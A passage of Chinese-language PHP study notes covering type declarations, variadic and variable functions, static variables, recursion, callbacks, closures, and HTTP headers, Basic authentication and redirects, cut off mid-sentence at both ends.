#1 {main}
thrown in - on line 4
Weak typingCatching TypeError在PHP7中为了提高执行效率,引入了一个新的功能,即在函数方法中增加了Scalar类型声明(标量类型声明),这样做节省了对数据类型的检测。标量类型声明有如下的两个选项: 强制模式: 强制是默认的模式,不需要指定。 严格模式: 严格的模式必须明确暗示。RFC给每一个PHP文件添加一句新的可选指令declare(strict_type=1);让同一个PHP文件内的全部函数调用和语句返回都有一个"严格约束"的标量类型声明检查。 严格模式的校验行为: 严格的类型校验调用拓展或PHP内置函数会改变zend_parse_parameters的行为。,失败时会产生E_RECOVERABLE_ERROR而不是E_WARNING。严格类型校验规则是非常直接的: 只有当类型和指定类型声明匹配,它才会接受,否则拒绝。
【 返回值类型声明 】 PHP7增加了对返回类型声明的支持。类似于参数类型声明,返回类型声明指明了函数返回值的类型。可用的类型与参数声明中可用的类型相同。
【 可变数量的参数列表 】 PHP在用户自定义函数中支持可变数量的参数列表。在PHP5.6+的版本中由...语法实现;在PHP5.5-版本中使用函数func_num_args(),func_get_arg()和func_get_args() ...$var 解构赋值 In PHP 5.6+,argument lists may include the ... token to denote that the function accepts a variable number of arguments. The arguments will be passed into the given variable as an arrayuse ... when calling functions to unpack an array or Traversable variable or literal into the argument list
You may specify normal positional arguments before the ... token. In this case,only the trailing arguments that don't match a positional argument will be added to the array generated by .... It is also possible to add a type hint before the ... token. If this is present,then all arguments captured by ... must be objects of the hinted class
func_num_args() 返回函数调用时参数的数量,返回整型数值,1开始 int func_num_args ( void ) func_get_args() 返回参数的列表数组 array func_get_args ( void ) func_get_arg(0) 返回参数的某一项,0开始 mixed func_get_arg ( int $arg_num ) 当在自定义函数的外面调用的该函数的时候会发出一个警告,或者是当arg_num比实际传入的参数的数目大的时候也会发出一个警告
当实参个数小于形参个数时php会发出警告,因为php解释机制会认为有参数被定义了却没有被使用,很可能会影响函数的功能 实参个数大于形参个数时,php是不会报错的,只会取前面的几个参数,多余的则将会丢弃 【 可变变量 】 $h='hello'; $hello='hello world'; echo $$h; //输出hello world,即$($h) 【 可变函数-函数动态调用 】 PHP支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数并且尝试执行它。可变函数可以用来实现包括回调函数、函数表在内的一些用途。 可变函数不能用于例如echo,print,unset(),isset(),empty(),include,require以及类似的语言结构,需要使用自己的包装函数来将这些结构用作可变函数。可变方法 - 用可变函数的语法来调用一个对象的方法当调用静态方法时,函数调用要比静态属性优先
【 static关键字的用法 static 变量 】 1、函数内static变量 只作用在该函数内部,每次调用后,static变量的值会在上一次调用的基础上更改。而定义时,如果赋予了初值,那么这条语句只会执行一次 1.不会随着函数的调用和退出而消失,当再次调用定义它的函数时,它又可继续使用,而且保存了前次被调用后留下的值 2.静态局部变量只会初始化一次 3.静态属性只能被初始化为一个字符值或常量,不能使用表达式。即使局部静态变量定义时没有赋初值,系统会自动赋初值0(对数值型变量)或空字符(对字符变量);静态变量的初始值为0。 4.当多次调用一个函数且要求在调用之间保留某些变量的值时,可考虑采用静态局部变量。虽然用全局变量也可以达到上述目的,但全局变量有时会造成意外的副作用,因此仍以采用局部静态变量为宜。 php中static 静态变量和普通变量的区别: 在变量的前面加上static就构成了静态变量(static 变量) static变量和普通变量的区别在于非静态全局变量的作用域是整个源程序,当一个源程序由多个源文件组成时,非静态的全局变量在各个源文件中都是有效的。而静态全局变量则限制了其作用域,即只在定义该变量的源文件内有效,在同一源程序的其它源文件中不能使用它。由于静态全局变量的作用域局限于一个源文件内,只能为该源文件内的函数公用, 因此可以避免在其它源文件中引起错误。 static变量和普通变量的区别: static全局变量与普通全局变量区别: static全局变量只初使化一次,防止在其他文件单元中被引用; static局部变量和普通局部变量区别: static局部变量只被初始化一次,下一次依据上一次结果值; static函数与普通函数区别: static函数在内存中只有一份,普通函数在每个被调用中维持一份拷贝。 在全局变量之前加上关键字static,全局变量就被定义成为一个全局静态变量。 1)内存中的位置: 静态存储区(静态存储区在整个程序运行期间都存在) 2)初始化: 未经初始化的全局静态变量会被程序自动初始化为0(自动对象的值是任意的,除非他被显示初始化) 3)作用域: 全局静态变量在声明他的文件之外是不可见的。准确地讲从定义之处开始到文件结尾。 static变量的好处: 不会被其他文件所访问,修改其他文件中可以使用相同名字的变量,不会发生冲突。 初始化: 未经初始化的全局静态变量会被程序自动初始化为0(自动对象的值是任意的,除非他被显示初始化) 作用域: 作用域仍为局部作用域,当定义它的函数或者语句块结束的时候,作用域随之结束。 注: 当static用来修饰局部变量的时候,它就改变了局部变量的存储位置,从原来的栈中存放改为静态存储区。但是局部静态变量在离开作用域之后,并没有被销毁,而是仍然驻留在内存当中,直到程序结束,只不过我们不能再对他进行访问。 当static用来修饰全局变量的时候,它就改变了全局变量的作用域(在声明他的文件之外是不可见的),但是没有改变它的存放位置,还是在静态存储区中。
静态变量与递归函数 静态变量也提供了一种处理递归函数的方法。递归函数是一种自己调用自己的方法。写递归函数时要小心,因为可能会无穷递归下去,没有出口.务必确保有方法来中止递归。以下这个简单的函数递归计数到 10,使用静态变量 $count 来判断何时停止
2 static 类成员变量 1. 类的静态成员变量只属于这个类,但类的所有实例共享这个静态成员变量 2. 静态成员变量不需要实例化就能访问,且访问速度快一些
static 类方法 类的静态方法只能访问静态成员变量,而不能访问非静态成员变量(如果有,会报错 )
Trait 的静态变量 trait 的静态变量被不同的类使用时 是互不影响的
【 function_exists() 】
bool function_exists ( string $function_name )
如果给定的函数已经被定义就返回TRUE
在已经定义的函数列表(系统自带的函数和用户自定义的函数)中查找function_name
// 查看php对MYSQL支持
echo function_exists('mysql_close') ? '是' : '否';
【 get_defined_functions() 】 array get_defined_functions ([ bool $exclude_disabled = FALSE ] ) 参数exclude_disabled表示禁用的函数是否应该在返回的数据里排除 返回数组,包含了所有已定义的函数,包括内置(internal) 和用户定义的函数,可通过$arr["internal"]来访问系统内置函数,通过$arr["user"]来访问用户自定义函数 【 debug_backtrace() 】 debug_backtrace ([ int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT [,int $limit = 0 ]] ): array 产生一条回溯跟踪(backtrace),查看函数被调用的情况 options参数是以下选项的位掩码: DEBUG_BACKTRACE_PROVIDE_OBJECT 是否填充"object"的索引。 DEBUG_BACKTRACE_IGNORE_ARGS 是否忽略"args"的索引,包括所有的function/method的参数,能够节省内存开销 limit参数能够用于限制返回堆栈帧的数量,默认0表示返回所有的堆栈帧 返回一个包含众多关联数组的array: function string 当前的函数名,参见__FUNCTION__。 line integer 当前的行号。参见__LINE__。 file string 当前的文件名。参见__FILE__。 class string 当前class 的名称。参见__CLASS__ object object 当前的object。 type string 当前调用的类型。如果是一个方法会返回"->"。如果是一个静态方法会返回"::"。如果是一个函数调用则返回空。 args array 如果在一个函数里,这会列出函数的参数。 如果是在一个被包含的文件里,会列出包含的文件名。debug_backtrace能获取整个调用链,日志库获取调用方的代码文件地址和代码行数
【 register_tick_function() 】
注册一个按要求调用的函数
【 unregister_tick_function() 】
取消一个按要求调用的函数
register_tick_function函数和unregister_tick_function函数必须要和declare流程控制机制合并使用,那么就先了解一下declare和tick:
declare (directive){
statement
}
Tick是一个在declare代码段中解释器每执行N条低级语句就会发生的事件。N的值是在declare中的directive部分用ticks=N来指定的。在每个tick中出现的事件是由register_tick_function()来指定的
例子中的declare(ticks = N){statement}流程控制里面,每执行6行(ticks=6)代码,就需要运行一次foo()函数,通过更改ticks的值可以获得不同的运行结果。debug调试浏览器console debug调试
递归函数
要避免递归函数/方法调用超过100-200层,因为可能会使堆栈崩溃从而使当前脚本终止,无限递归可视为编程错误PHP实现递归的几种方法
递归函数是我们常用到的一类函数,最基本的特点是函数自身调用自身,但必须在调用自身前有条件判断,否则会无限调用下去。 一般来说,递归函数可利用全局变量,引用,静态变量,但需对他们的作用范围有所理解。递归函数也是解决无限级分类的一个很好的技巧
【 循环代替递归 】 如果要遍历某个目录下的所有文件包括子目录,最首先想到的思路就是用递归:先处理当前目录,再处理当前目录下的子目录。 递归其实是利用堆栈来实现的,递归的特点就是不断的调用自身,最后一次的调用是最先执行完的,倒数第二次调用是其次执行完的,依次类推,最初的调用是最后执行完的。 如果理解了递归的原理,其实就可以把所有用递归的实现转化为非递归的实现,思路主要分三步: 1. 创建一个数组,将要遍历的这个目录放入;(其实就是创建了一个栈) 2. 循环处理这个数组,循环结束的条件是数组为空; 3. 每次循环,处理数组中的一个元素,并将元素删除,如果这个元素是目录,则将目录下所有的子元素加入数组;遍历某个目录下的所有文件
回调函数
自己调用自己称之为"递归",而不是回调 函数A在执行过程中调用了提供的函数B,这个函数B就称为函数A的回调函数可变函数
php提供了两个内置函数call_user_func()和call_user_func_array()提供对回调函数的支持。 call_user_func_array是以数组的形式接收回调函数的参数的 mixed call_user_func_array ( callable $callback ,array $param_arr ) call_user_func参数个数根据回调函数的参数来确定的 call_user_func($callback,参数1,参数2,…) 【 call_user_func() 】 mixed call_user_func ( callable $callback [,mixed $parameter [,mixed $... ]] ) 把第一个参数作为回调函数调用,其余0个或以上参数是回调函数的参数,返回回调函数的返回值 在函数中注册有多个回调内容时(如使用call_user_func()与call_user_func_array()),如在前一个回调中有未捕获的异常,其后的将不再被调用传入call_user_func()的参数不能为引用传递,call_user_func_array可以调用类内部的方法用array省去了new
【 call_user_func_array() 】 mixed call_user_func_array(callable $callback, array $param_arr) 调用回调函数,并把一个索引数组参数作为回调函数的参数,返回回调函数的结果,出错返回FALSE使用命名空间传引用
一些函数如call_user_func()或usort()可接受用户自定义的回调函数作为参数。回调函数可以是简单函数,还可以是对象的方法,包括静态类方法。 PHP是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如: array(),echo,empty(),eval(),exit(),isset(),list(),print或unset()。 一个已实例化的object的方法被作为array传递,下标0包含该object,下标1包含方法名。 在同一个类里可以访问protected和private方法。 静态类方法也可不经实例化该类的对象而传递,只要在下标0中包含类名而不是对象。自PHP5.2.3起,也可以传递'ClassName::methodName' 除了普通的用户自定义函数外,也可传递匿名函数给回调参数使用Closure的示例forward_static_call_array将静态上下文转发到调用的方法,而call_user_func_array则没有
【 forward_static_call 】 forward_static_call( callable $function [, mixed $parameter [, mixed $... ]] ) 调用静态方法,forward_static_call()使用以下参数调用由function参数给定的用户定义函数或方法,此函数必须在方法上下文中调用,不能在类外部使用,它使用后期静态绑定。 function参数必须,表示要调用的函数或方法。 该参数可以是具有类名的数组,以及具有方法名的方法或字符串。 parameter参数必须(取决回调函数是否有参数),表示零个或多个要传递给函数的参数。 返回函数结果,如果错误则返回FALSE
【 forward_static_call_array() 】 forward_static_call_array( callable $function , array $parameters ) 动态调用静态方法,返回函数结果,如果错误则返回FALSE forward_static_call_array()调用函数参数给定的用户定义函数或方法。此函数必须在方法上下文中调用,不能在类外部使用。 它使用后期静态绑定。与call_user_func_array()类似,转发的方法的所有参数都作为值和数组传递。forward_static_call_array() 的参数未通过引用传递 function参数必须,表示要调用的函数或方法,该参数可以是具有类名的数组及具有方法名的方法或字符串。 parameter参数必须(取决回调函数是否有参数),表示一个参数,将所有方法参数收集在一个数组中。
匿名函数(Anonymous functions) 闭包函数(closures) Closure类
PHP在引入闭包之前,也有一个可以创建匿名函数的函数: create function,但代码逻辑只能写成字符串,这样看起来很晦涩且不好维护 匿名函数也叫闭包函数,允许临时创建一个没有指定名称的函数,经常用作回调函数(callback)参数的值 匿名函数是闭包的核心,匿名函数在PHP里实际上是一个Closure类的对象,与普通的面向对象编程方式不同,匿名函数的代码是直接写在调用处的,不需要额外写一个类 使用闭包语法可以很方便编写回调函数,在事件驱动编程、排序、array_walk等需要用户传入一段执行代码的场景中,闭包的写法非常优雅 声明一个匿名函数 匿名函数也像普通函数一样可以声明参数,调用方法也相同 闭包函数也可以作为变量的值来使用,PHP会自动把此种表达式转换成内置类Closure的对象实例,把一个closure对象赋值给一个变量的方式与普通变量赋值的语法是一样的,最后也要加上分号
Closure类是代表匿名函数的类 匿名函数会产生Closure类型的对象。在过去这个类被认为是一个实现细节,但现在可以依赖它做一些事情。自PHP5.4起这个类带有一些方法,允许在匿名函数创建后对其进行更多的控制。 除了此处列出的方法,还有一个__invoke方法,这是为了与其他实现了__invoke()魔术方法的对象保持一致性,但调用匿名函数的过程与它无关。 Closure::__construct( void ) — 用于禁止实例化的构造函数 Closure::bind( Closure $closure ,object $newthis [,mixed $newscope = 'static' ] ) — 复制一个闭包,绑定指定的$this对象和类作用域。 Closure::bindTo( object $newthis [,mixed $newscope = 'static' ] ) — 复制当前闭包对象,绑定指定的$this对象和类作用域。 Closure::call - 绑定并调用闭包,允许把匿名函数临时挂到指定对象中,充当这个对象的类方法 Closure::bind - 使用特定的绑定对象和类范围复制一个闭包 与PHP5.6的bindTo相比,PHP7中的Closure::call()方法具有更好的性能,该方法被添加为临时将对象范围绑定到闭包并调用它。Closure类在路由中使用
【 实现闭包 】 将匿名函数在普通函数中当做参数传入,也可以被返回,这就实现了一个简单的闭包
【 连接闭包和外界变量的关键字: use 】 闭包可以保存所在代码块上下文的一些变量和值。默认匿名函数不能调用所在代码块的上下文变量,闭包更强大的地方在于它可以直接在调用处引入外部变量,PHP就是通过使用use关键词实现的 如果闭包需要传入一个变量,传统的写法只能通过全局变量来实现。与JS不同,PHP的变量引入是显式的,如果要引用外部变量必须使用use来声明。而JS是隐式的,匿名函数内部可以随意操作外部变量,无需声明。这样好处是少写了一点代码,缺点是存在风险和混乱
闭包写法使用use直接引入了当前的$str变量,而不需要使用global全局变量。另外如果是在swoole的事件驱动编程模式,使用global就无法实现异步并发了,因为global全局变量只有1个,如果同时有多个客户端请求,每个请求要查询数据库,输出不同的内容,传统的编程方法就不太容易实现,需要使用全局变量数组,以客户端的ID为KEY保存各自的数据 闭包写法非常适合用来编写异步非阻塞回调模式的服务器程序,目前热门的编程语言中只有PHP和JS具备这种能力不可以在匿名函数中改变上下文的变量,use所引用的是变量的一个副本而已。要完全引用变量而不是复制可以在变量前加一个&符号,这样匿名函数就可以引用上下文的变量了,对象类型不需要加&,因为在PHP中对象默认就是传引用而非传值如果将匿名函数返回给外界,匿名函数会保存use所引用的变量,而外界则不能得到这些变量,这样形成闭包闭包的参数匿名函数数组参数
闭包可以从父作用域中继承变量,任何此类变量都应该用use语言结构传递进去 PHP7.1+不能传入此类变量: superglobals、$this或和参数重名 在类的方法中使用匿名函数,5.4+版本无需使用use引入$this,直接可以在匿名函数中使用$this来调用当前对象的方法。在swoole编程中可以利用此特性减少$serv对象的use引入传递。 这些变量都必须在函数或类的头部声明,从父作用域中继承变量与使用全局变量是不同的。全局变量存在于一个全局的范围,无论当前在执行的是哪个函数。而闭包的父作用域是定义该闭包的函数(不一定是调用它的函数)Automatic binding of $this
PHP闭包的特性并没有太大惊喜,其实用CLASS就可以实现类似甚至强大得多的功能,更不能和js的闭包相提并论,只能期待PHP以后对闭包支持的改进。不过匿名函数还是挺有用的,比如在使用preg_replace_callback等之类的函数可以不用在外部声明回调函数了
php函数
所有的Http传输都遵循同样的格式,每一次客户端的请求和服务端的响应都包括三个部分: 请求或响应行、报文头部分和报文体部分 客户端发起一个Http传输的过程: 首先客户端向服务器发送一个请求: GET /index.html?param=value HTTP/1.0 然后客户端发送可选的报文头信息,告诉服务器它的一些配置信息及告诉服务器接下来它要接收的数据是什么样格式的,如: User-Agent: Mozilla/4.06 Accept: image/gif,image/jpeg,*/* 发送完请求和报文头信息后发送附加的数据,这些数据通常是通过CGI程序使用Post方法发送的。 HTTP请求的格式 1)请求信息: 例如"Get /index.php HTTP/1.1",请求index.php文件 2)表头: 例如"Host: localhost",表示服务器地址 3)空白行 4)信息正文 "请求信息"和"表头"都必须使用换行字符(CRLF)来结尾,空白行只能包含换行符,不可以有其他空格符。 下面例子发送HTTP请求给服务器www.example.com --------------------------------------------------------------------- GET /index.php HTTP/1.1↙ //请求信息 Host:www.example.com↙ //表头 ↙ //空格行 ↙ --------------------------------------------------------------------- ↙符号表示回车键,在空白行之后还要在按一个空格才会发送HTTP请求, HTTP请求的表头中只有Host表头是必要的,其余的HTTP表头则是根据HTTP请求的内容而定。 HTTP请求的方法 1)GET: 请求响应 2)HEAD: 与GET相同的响应,只要求响应表头 3)POST: 发送数据给服务器处理,数据包含在HTTP信息正文中 4)PUT: 上传文件 5)DELETE: 删除文件 6)TRACE: 追踪收到的请求 7)OPTIONS: 返回服务器所支持的HTTP请求的方法 8)CONNECT: 将HTTP请求的连接转换成透明的TCP/IP通道 HTTP响应的格式 服务器在处理完客户端所提出的HTTP请求后会发送下列响应 1)第一行是状态码 2)第二行开始是其他信息 状态码包含一个标识状态的数字和一个描述状态的单词。例如: HTTP/1.1 200 OK 200是标识状态,OK则是描述状态,请求成功。 HTTP请求和响应的例子 打开cmd输入telnet,输入open www.00aq.com 80 打开连接后输入 GET /index.php HTTP/1.1↙ Host:www.00aq.com↙ ↙ ↙ 返回HTTP响应的表头 返回的首页内容
header()函数
HTTP是web服务器和客户端浏览器之间的数据传输(如web页面中的HTML、图片、文件)协议(规则集合),通常使用80端口,这就是网站URL前面'http://'的来源
http协议中server端的response包含用户不可见的头信息和可见的网页文档,头信息包含服务器信息、日期、内容长度等
头信息的作用:
1.跳转
2.指定网页的内容: 指定浏览器解析文件的方式
1、浏览器和服务器通过使用头信息来进行交互
2、头信息在主要内容之前发送,并且用两个CRLF/换行符来和主要内容分割开
3、在头信息部分,每一行就是一个头,首先是头的名字,然后是一个冒号一个空格,然后是这个头的名/值,即头名: 头值
4、头信息可以包括许多类型的信息和指示,以便浏览器和服务器用来告知对方接下来该做什么
header()函数让脚本向客户端发送原始的HTTP响应报头,即文件头、头信息,创造一个非常有用的动态结果
必须在任何实际输出被发送之前调用header(),在使用header()函数之前不能有任何输出(包括空输出,比如空格,回车和换行),否则这些输出会使PHP自动发送默认的头信息
header()作用是把括号里面的信息发到http标头,http标头是服务器以HTTP协议传送HTML信息到浏览器前所送出的字串,所以header()发送的内容先到达浏览器
语法: void header (string string [,bool replace [,int http_response_code]])
string参数必需,规定要发送的报头字符串
有两种特别的头
第一种以"HTTP/"开头的,将会被用来计算出将要发送的HTTP状态码
header("HTTP/1.0 404 Not Found");
第二种特殊情况是"Location:"的头信息。它不仅把报文发送给浏览器,而且还返回给浏览器一个REDIRECT(302)的状态码,除非状态码已经事先被设置为了201或3xx
在执行Location header跳转的时候,Session ID无法通传递的,即使session.use_trans_sid是激活状态的。只能通过手动传递using SID的值来实现
header("Location: http://www.example.com/"); // Redirect browser
exit; // Make sure that code below does not get executed when we redirect
replace参数可选
默认TRUE表示该报头替换之前的报头,FALSE允许相同类型的多个报头并存即添加第二个报头,该函数防止一次发送多个报头,这是对头部注入攻击的保护措施
header('WWW-Authenticate: Negotiate');
header('WWW-Authenticate: NTLM', false); // WWW-Authenticate: Negotiate,NTLM
http_response_code参数可选
强制指定HTTP响应的值,这个参数只有在报文字符串string不为空的情况下才有效
header("Content-type:text/html;charset=utf-8"); // 指定PHP源程序的编码
meta http-equiv="content-type" content="text/html; charset=utf-8" // 声明客户端浏览器用什么字符集编码显示该页面
下载对话框使用head进行二进制流输出,让用户下载PDF等附件的方法【 缓存指令 】When using PHP to output an image,it won't be cached by the client so if you don't want them to download the image each time they reload the page,you will need to emulate part of the HTTP protocol
【 http www-authenticate HTTP认证机制 】
作为Apache模块来使用php时可以使用header函数做用户验证,向客户端浏览器发送"Authentication Required"信息,使其弹出一个用户名/密码输入窗口。当用户输入用户名和密码后,包含有URL的PHP脚本将会再次和预定义变量PHP_AUTH_USER、PHP_AUTH_PW和AUTH_TYPE一起被调用,这三个变量分别被设定为用户名,密码和认证类型。预定义变量保存在$_SERVER或$HTTP_SERVER_VARS数组中。系统仅支持"基本的"认证,该功能不适用于CGI版本
服务器收到请求后,首先会解析发送来的数据中是否包含有: Authorization: Basic XXXX=这种格式的数据
如果没有这样的header数据,那么服务器会发送HTTP信息头WWW-Authenticate: Basic realm=""到浏览器,要求浏览器发送合法的用户名和密码到服务端,为了进一步告知浏览器,这个页面需要认证,最好还是接着发送一个401错误
header("WWW-Authenticate: Basic realm="USER LOGIN"");
header("HTTP/1.0 401 Unauthorized");
优点:方便
缺点:这种认证方式在传输过程中采用明文传输用户名密码加密方式为BASE-64,被嗅探密码几乎是透明的
响应头WWW-Authenticate
WWW-Authenticate:Basic realm="Health Ed Presentation Admin"
用户输入用户名: admin 密码: admin后,浏览器将以下面这种格式将数据发送给服务器端:
Authorization: Basic YWRtaW46YWRtaW4=
Authorization: Basic为www-authenticate认证的标准HTTP信息头,YWRtaW46YWRtaW4=是BASE-64加密后的用户名和密码,经解密后的格式为 admin:admin
这时就可以用PHP的全局变量来使用它们了
$_SERVER['PHP_AUTH_USER'];
$_SERVER['PHP_AUTH_PW'];
进行清空
unset($_SERVER['PHP_AUTH_USER']);
unset($_SERVER['PHP_AUTH_PW']);
http Basic authorization强迫客户端认证的脚本范例,实际运用中可能需要对用户名和密码的合法性进行检查,或许进行数据库的查询,或许从dbm文件中检索强迫重新输入用户名和密码的HTTP认证的范例
【 HTTP添加自定义头 】
一般客户端和服务器传递数据都通过请求参数,很少添加自定义头。
服务器端将头放在全局数据_SERVER里,参数都以HTTP开头
客户端在http头里添加了SSOTK参数,服务器端可这样读取:
if(array_key_exists('HTTP_SSOTK', $_SERVER)) {
$token = $_SERVER['HTTP_SSOTK'];
}
curl设置自定义的HTTP头
$headers = array();
$headers[] = 'X-Apple-Tz: 0';
$headers[] = 'X-Apple-Store-Front: 143444,12';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
$headers[] = 'Accept-Encoding: gzip,deflate';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
$headers[] = 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0';
$headers[] = 'X-MicrosoftAjax: Delta=true';
curl_setopt($ch,CURLOPT_HTTPHEADER,$headers);
【 HTML meta标签中的HTTP头信息 equivalents(对应物) 】
HTML meta标签重定向用户:
<meta http-equiv="refresh" content="0;http://www.mysite.com/somepage.html" />
'http-equiv' meta标签即HTTP响应头的'对应物',引入它们是为了让没有服务器端编程能力的人在写HTML页面的时候也能使用强大的头信息功能
使用这些meta标签很简单: 它们可以被放在文档head中的任何地方,http-equiv属性包含头名,content属性包含头值
meta标签的HTTP equivalents对于像指定字符集这样的事情会更顺手一些. 比如经常在HTML页面中使用,有时PHP页面中也���用到:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
使用meta标签来指定头信息并不被一致的支持,所以通常来讲使用头信息本身会更加安全和快速. 另外很明显,还有一些头的名值对并不能用meta equivalents来指定: 在真正的头信息被发送,浏览器已经把文档读取为HTML之后是不能再去设置Content-Type成image/png的
【 用header或meta实现PHP页面编码的区别 】
一、页面编码
1. 使用 META http-equiv="content-type" content="text/html; charset=xxx" 标签设置页面编码
这个标签的作用是声明客户端的浏览器用什么字符集编码显示该页面,xxx可以为GB2312,GBK,UTF-8(和)ySQL不同,MySQL是 UTF8)等等。因此大部分页面可以采用这种方式来告诉浏览器显示这个页面的时候采用什么编码,这样才不会造成编码错误而产生乱码。但是有的时候我们会发现有了这句还是不行,不管xxx是哪一种,浏览器采用的始终都是一种编码
meta是属于html信息的,仅仅是一个声明,它起作用表明服务器已经把HTML信息传到了浏览器
2. header("content-type:text/html; charset=xxx");
这个函数header()的作用是把括号里面的信息发到http标头
如果括号里面的内容为文中所说那样,那作用和META标签基本相同,不同的是如果有这段函数,浏览器就会永远采用你所要求的xxx编码
为什么会这样呢?那就得说说HTTPS标头和HTML信息的差 别了:
https标头是服务器以HTTP协议传送HTML信息到浏览器前所送出的字串
因为meta标签是属于html信息的,所以header()发送的内容先到达浏览器,通俗点就是header()的优先级高于meta(不)道可 不可以这样讲)。加入一个php页面既有header("content-type:text/html; charset=xxx"),又有META http-equiv="content-type" content="text/html; charset=xxx",浏览器就只认前者http标头而不认meta了。当然这个函数只能在php页面内使用
为什么前者就绝对起作用,而后者有时候就不行呢?这就是接下来要谈的Apache的原因了
3. AddDefaultCharset
Apache根目录的conf文件夹里,有整个Apache的配置文档httpd.conf
httpd.conf有AddDefaultCharset xxx,xxx为编码名称。这行代码的意思: 设置整个服务器内的网页文件https标头里的字符集为你默认的xxx字符集。有这行就相当于给每个文件都加了一行header("content-type:text/html; charset=xxx")。这下就明白为什么明明meta设置了是utf-8,可浏览器始终采用gb2312的原因
如果网页里有header("content-type:text/html; charset=xxx"),就把默认的字符集改为你设置的字符集,所以这个函数永远有用。如果把AddDefaultCharset xxx前面加个"#",注释掉这句,而且页面里不含header("content-type…"),那这个时候就轮到meta标签起作用了
【 PHP页面重定向和页面跳转 】
http重定向就是通过301和302两种状态码来实现的
页面重定向一定会有页面跳转,页面跳转不一定会有页面重定向
重定向浏览器
Location类型的标头,Location:中间不能有空格,前面不能有输出,后面的代码会执行,除非exit,应使用绝对路径URL
header("HTTP/1.1 301 Moved Parmanently");
header("Location:http://xxx.con/");
exit;
// 301 Moved Permanently, 永久重定向,本网页永久性转移到另一地址,搜索引擎在抓取新内容时也将旧网址替换为重定向之后的网址
header("Location: /foo.php", TRUE, 301);
// 302 Found, 临时重定向temporary redirect,搜索引擎会抓取新的内容而保留旧的网址
header("Location: /foo.php", TRUE, 302);
header("Location: /foo.php");
// 303 See Other
header("Location: /foo.php", TRUE, 303);
// 307 Temporary Redirect
header("Location: /foo.php", TRUE, 307);
header("Location:http://localhost/study/");
< meta http-equiv="refresh" content="10;url=https://www.baidu.com/"> //meta标签 10秒之内跳转到百度
echo '< script>window.location.href="https://www.baidu.com/"< /script>';
因为header前不能输出,如果不关注HTTP状态,可以使用js跳转
1.echo输出js的跳转代码来window.location.href="http://xxx"实现或window.location
2.window.navigate("http://www.csdn.net");
3.window.location.replace("target.aspx");
【 使用Refresh头重定向 】
Refresh和Location一样可以重定向用户,但可以延迟重定向;如果刷新时间设置成0则Refresh头实际上和Location头完全一样
<meta http-equiv="refresh" content="0;http://www.mysite.com/somepage.html" />
// 显示当前页面10秒钟后重定向用户到新的页面:
header('Refresh: 10; url=http://www.mysite.com/otherpage.php');
echo 'You will be redirected in 10 seconds';
另一个常见的用途就是通过重复的'重定向'一个页面到它自身来强制更新页面
// 页面会从10开始向下数,每个数字之间有3秒间隔:
if(!isset($_GET['n'])) $_GET['n'] = 10;
if($_GET['n'] > 0){
header('Refresh: 3; url=' . $_SERVER['PHP_SELF'].'?n=' . ($_GET['n']-1) );
echo $_GET['n'];
}else{
echo 'BLAST OFF!';
}
【 http_response_code() 】
mixed http_response_code ([ int $response_code ] )
获取或设置响应的HTTP状态码
返回值
若提供了response_code将返回先前的状态码,否则返回当前的状态码
在Web服务器环境里这些状态码的默认值都是200,在非Web服务器环境里(如CLI应用)调用不提供response_code就会返回FALSE,否则返回TRUE (仅仅在先前没有设置过状态码的时候)。
// Web服务器环境内使用http_response_code()
var_dump(http_response_code(404)); // int(200),获取当前状态码,并设置新的状态码
var_dump(http_response_code()); // int(404),获取新的状态码
// 在CLI环境内使用http_response_code()
var_dump(http_response_code()); // bool(false),获取当前默认的响应状态码
var_dump(http_response_code(201)); // bool(true),设置状态码
var_dump(http_response_code()); // int(201),获取新的状态码
【 headers_list() 】
返回已发送的或待发送的响应头部的一个列表,返回包含报头的数组
【 header_remove() 】 void header_remove ([ string $name ] ) 删除之前用header()设置的HTTP头,不指定参数时取消之前全部指定的头,参数不分大小写,没有返回值 【 headers_sent(file,line) 】 检查HTTP报头是否发送/已发送到何处,一旦报头块已经发送就不能使用header()函数来发送其它的报头 参数file,line可选。如果设置file和line参数,headers_sent()会把输出开始的PHP源文件名和行号存入file和line变量中 如果报头已发送该函数返回TRUE,否则返回FALSE
【 get_headers() 】
array get_headers ( string $url [,int $format = 0 ] )
返回包含有服务器响应一个HTTP请求所发送标头的索引或关联数组,失败则返回FALSE
url 目标URL
format 如果将可选的format参数设为1,则get_headers()会解析相应的信息并设定数组的键名
【 apache_response_headers() 】
array apache_response_headers ( void )
成功时返回包含全部Apache响应头信息的数组,否则返回FALSE
【 apache_request_headers() 】
array apache_request_headers ( void )
包含当前请求所有头信息的数组,败返回FALSE
这个函数只能工作在Apache下,如果换了Nginx或命令行,会直接报函数不存在的错误
array getallheaders ( void )函数是apache_request_headers()的别名
$headers = apache_request_headers();
foreach ($headers as $header => $value) {
echo "$header: $value \n";
}
从超级变量$_SERVER中提取所有request header
【 PHP中的请求头信息 】
可以从浏览器发给服务器的请求头信息中获取很多信息,有两种方法来获取:
第一,许多[$_SERVER数组][server]中的值都是由传来的请求头信息决定的
第二,PHP作为Apache模块使用时apache_request_headers()返回一个包含所有请求头信息的数组,甚至那些不在$_SERVER中的
1、使用$_SERVER['HTTP_USER_AGENT']可以探测用户生成他使用的什么浏览器
2、可以检查$_SERVER['HTTP_ACCEPT_LANGUAGE'] (可能要配合$_SERVER['HTTP_ACCEPT_CHARSET']和一些IP地理位置)来决定向用户展示什么语言
3、虽然$_SERVER['HTTP_REFERER']对于安全目的并不能被依赖,但可用来统计网站的流量或根据用户的访问路径来定制显示内容
4、如果因为某些原因想要操作原始的请求字符串,可以使用$_SERVER['QUERY_STRING']
5、查看$_SERVER['REQUEST_METHOD']可以知道页面是通过GET还POST方法访问的
安全第一: 不要信任请求头信息
请求头信息发自浏览器,浏览器又可以在客户端被控制,所以永远不要信任来自请求头,又和站点安全紧密相关的头信息
例如$_SERVER['HTTP_REFERER']变量应该包含一个用户转自的源URL,常见错误就是认为可以使用这个来确保用户只会通过特定路径来访问页面,因此便无需关心服务器端的数据验证
下面的代码试着去确保数据是从一个特定的页面发送过来的,而不是从另一个站点
